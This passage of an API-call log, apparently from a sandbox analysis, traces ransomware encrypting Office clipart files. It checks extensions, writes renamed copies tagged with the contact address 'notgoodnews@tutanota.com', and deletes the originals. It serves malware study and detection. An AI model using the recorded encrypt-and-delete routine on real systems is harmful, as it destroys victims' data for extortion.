lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.513] lstrlenW (lpString=".jpg") returned 4 [0236.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.513] lstrlenW (lpString=".doc") returned 4 [0236.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.513] lstrlenW (lpString=".docx") returned 5 [0236.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.514] lstrlenW (lpString=".pdf") returned 4 [0236.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.514] lstrlenW (lpString=".xls") returned 4 [0236.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.514] lstrlenW (lpString=".xlsx") returned 5 [0236.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.514] lstrlenW (lpString=".ppt") returned 4 [0236.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.514] lstrlenW (lpString=".zip") returned 4 [0236.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.514] lstrlenW (lpString=".rar") returned 4 [0236.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.515] lstrlenW (lpString=".bz2") returned 4 [0236.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.515] lstrlenW (lpString=".7z") returned 3 [0236.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.515] lstrlenW (lpString=".dbf") returned 4 [0236.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.515] lstrlenW (lpString=".1cd") returned 4 [0236.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.515] lstrlenW (lpString=".jpg") returned 4 [0236.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.516] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.516] lstrlenW (lpString="AN01218_.WMF") returned 12 [0236.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0236.561] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3012) returned 1 [0236.561] CloseHandle (hObject=0x3c0) returned 1 [0236.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0236.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0236.605] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0236.606] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0236.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0239.887] GetLastError () returned 0x0 [0239.887] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xbc4, lpOverlapped=0x0) returned 1 [0239.961] WriteFile (in: hFile=0x398, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0239.964] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0239.964] WriteFile (in: hFile=0x398, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0239.964] SetEndOfFile (hFile=0x398) returned 1 [0239.965] CloseHandle (hObject=0x398) returned 1 [0239.965] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0239.965] SetEndOfFile (hFile=0x3a4) returned 1 [0239.973] CloseHandle (hObject=0x3a4) returned 1 [0239.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0240.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.195] lstrlenW (lpString=".doc") returned 4 [0240.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.195] lstrlenW (lpString=".docx") returned 5 [0240.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.195] lstrlenW (lpString=".pdf") returned 4 [0240.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.195] lstrlenW (lpString=".xls") returned 4 [0240.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.195] lstrlenW (lpString=".xlsx") returned 5 [0240.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.195] lstrlenW (lpString=".ppt") returned 4 [0240.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.195] lstrlenW (lpString=".zip") returned 4 [0240.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.196] lstrlenW (lpString=".rar") returned 4 [0240.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.196] lstrlenW (lpString=".bz2") returned 4 [0240.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.196] lstrlenW (lpString=".7z") returned 3 [0240.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.196] lstrlenW (lpString=".dbf") returned 4 [0240.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.196] lstrlenW (lpString=".1cd") returned 4 [0240.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.197] lstrlenW (lpString=".jpg") returned 4 [0240.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.197] lstrlenW (lpString=".doc") returned 4 [0240.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.197] lstrlenW (lpString=".docx") returned 5 [0240.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.197] lstrlenW (lpString=".pdf") returned 4 [0240.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".xls") returned 4 [0240.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.198] lstrlenW (lpString=".xlsx") returned 5 [0240.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.198] lstrlenW (lpString=".ppt") returned 4 [0240.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.198] lstrlenW (lpString=".zip") returned 4 [0240.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.198] lstrlenW (lpString=".rar") returned 4 [0240.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.198] lstrlenW (lpString=".bz2") returned 4 [0240.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString=".7z") returned 3 [0240.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.199] lstrlenW (lpString=".dbf") returned 4 [0240.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.199] lstrlenW (lpString=".1cd") returned 4 [0240.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0240.199] lstrlenW (lpString=".jpg") returned 4 [0240.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.200] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.200] lstrlenW (lpString="AN03500_.WMF") returned 12 [0240.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0240.577] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=9240) returned 1 [0240.577] CloseHandle (hObject=0x3cc) returned 1 [0240.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0240.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0240.589] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.589] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0240.590] GetLastError () returned 0x0 [0240.590] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x2418, lpOverlapped=0x0) returned 1 [0240.596] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x2420, lpOverlapped=0x0) returned 1 [0240.600] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0240.600] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.600] SetEndOfFile (hFile=0x35c) returned 1 [0240.601] CloseHandle (hObject=0x35c) returned 1 [0240.601] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.601] SetEndOfFile (hFile=0x370) returned 1 [0240.609] CloseHandle (hObject=0x370) returned 1 [0240.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0240.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.612] lstrlenW (lpString=".doc") returned 4 [0240.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.612] lstrlenW (lpString=".docx") returned 5 [0240.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.613] lstrlenW (lpString=".pdf") returned 4 [0240.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.613] lstrlenW (lpString=".xls") returned 4 [0240.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.613] lstrlenW (lpString=".xlsx") returned 5 [0240.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.613] lstrlenW (lpString=".ppt") returned 4 [0240.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.613] lstrlenW (lpString=".zip") returned 4 [0240.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.613] lstrlenW (lpString=".rar") returned 4 [0240.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.614] lstrlenW (lpString=".bz2") returned 4 [0240.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.614] lstrlenW (lpString=".7z") returned 3 [0240.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.614] lstrlenW (lpString=".dbf") returned 4 [0240.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.614] lstrlenW (lpString=".1cd") returned 4 [0240.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.614] lstrlenW (lpString=".jpg") returned 4 [0240.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.615] lstrlenW (lpString=".doc") returned 4 [0240.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.615] lstrlenW (lpString=".docx") returned 5 [0240.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.615] lstrlenW (lpString=".pdf") returned 4 [0240.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.615] lstrlenW (lpString=".xls") returned 4 [0240.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.616] lstrlenW (lpString=".xlsx") returned 5 [0240.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.616] lstrlenW (lpString=".ppt") returned 4 [0240.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.616] lstrlenW (lpString=".zip") returned 4 [0240.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.616] lstrlenW (lpString=".rar") returned 4 [0240.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.616] lstrlenW (lpString=".bz2") returned 4 [0240.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.616] lstrlenW (lpString=".7z") returned 3 [0240.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.617] lstrlenW (lpString=".dbf") returned 4 [0240.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.617] lstrlenW (lpString=".1cd") returned 4 [0240.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0240.617] lstrlenW (lpString=".jpg") returned 4 [0240.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.618] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.618] lstrlenW (lpString="AN04108_.WMF") returned 12 [0240.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0240.619] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2344) returned 1 [0240.619] CloseHandle (hObject=0x370) returned 1 [0240.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0240.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0240.620] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.620] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0240.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0240.621] GetLastError () returned 0x0 [0240.621] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x928, lpOverlapped=0x0) returned 1 [0241.414] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x930, lpOverlapped=0x0) returned 1 [0241.417] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0241.417] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.417] SetEndOfFile (hFile=0x35c) returned 1 [0241.418] CloseHandle (hObject=0x35c) returned 1 [0241.420] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.420] SetEndOfFile (hFile=0x370) returned 1 [0241.427] CloseHandle (hObject=0x370) returned 1 [0241.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0241.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.502] lstrlenW (lpString=".doc") returned 4 [0241.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.502] lstrlenW (lpString=".docx") returned 5 [0241.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.502] lstrlenW (lpString=".pdf") returned 4 [0241.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.502] lstrlenW (lpString=".xls") returned 4 [0241.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.503] lstrlenW (lpString=".xlsx") returned 5 [0241.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.503] lstrlenW (lpString=".ppt") returned 4 [0241.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.503] lstrlenW (lpString=".zip") returned 4 [0241.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.503] lstrlenW (lpString=".rar") returned 4 [0241.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.503] lstrlenW (lpString=".bz2") returned 4 [0241.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.504] lstrlenW (lpString=".7z") returned 3 [0241.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.504] lstrlenW (lpString=".dbf") returned 4 [0241.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.504] lstrlenW (lpString=".1cd") returned 4 [0241.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.504] lstrlenW (lpString=".jpg") returned 4 [0241.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0241.505] lstrlenW (lpString=".doc") returned 4 [0241.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.505] lstrlenW (lpString=".docx") returned 5 [0241.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.505] lstrlenW 